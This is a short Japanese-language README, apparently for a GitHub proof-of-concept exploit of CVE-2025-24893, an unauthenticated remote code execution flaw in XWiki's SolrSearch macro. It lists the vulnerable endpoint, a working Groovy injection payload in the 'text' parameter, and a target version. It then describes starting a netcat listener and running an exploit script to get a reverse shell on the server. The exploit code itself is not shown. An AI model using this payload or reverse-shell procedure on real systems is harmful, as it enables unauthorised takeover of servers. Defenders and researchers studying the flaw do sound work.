fomovet/cve-2025-24893CVE-2025-24893の概念実証エクスプロイト。SolrSearchマクロにおける安全でないGroovy式処理を介したXWikiの認証なしリモートコード実行脆弱性。
⚠️ XWikiにおける未認証リモートコード実行
🛠️ PoC実装: @dollarboysushil
CVE-2025-24893 は、XWikiにおける重大なRCE脆弱性であり、SolrSearch マクロ内の安全でないGroovy式の処理によって引き起こされます。攻撃者は細工したGETリクエストを介してGroovyコードを注入し、リモートコード実行（認証不要）を引き起こす可能性があります。
この脆弱性は、XWikiの SolrSearch マクロ (Main.SolrSearch) に存在し、安全でないGroovy評価を使用して検索入力を処理します。このマクロはユーザー提供の入力をサニタイズしないため、任意のコード実行が可能になります。
/xwiki/bin/get/Main/SolrSearch?media=rss&text=
攻撃者は text パラメータにGroovyコードを注入でき、これはマクロシステム内の不適切な入力処理によりサーバーサイドで評価されます。
}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}
これにより、脆弱なXWikiインスタンス上で未認証のリモートコード実行 (RCE) が引き起こされます。
脆弱なターゲットはCVE-2025-24893の影響を受けるXWikiバージョン 15.10.8 を実行しているインスタンスです。
攻撃者のマシンでNetcatリスナーを起動し、リバースシェル接続をキャプチャします:
nc -lvnp 1337
エクスプロイトスクリプト CVE-2025-24893-dbs.py を実行して、GroovyベースのRCEペイロードを脆弱なXWikiエンドポイントに配信します。
正常に実行されると、リバースシェルがリスナーに接続し、攻撃者にサーバーへのリモートアクセスを許可します。
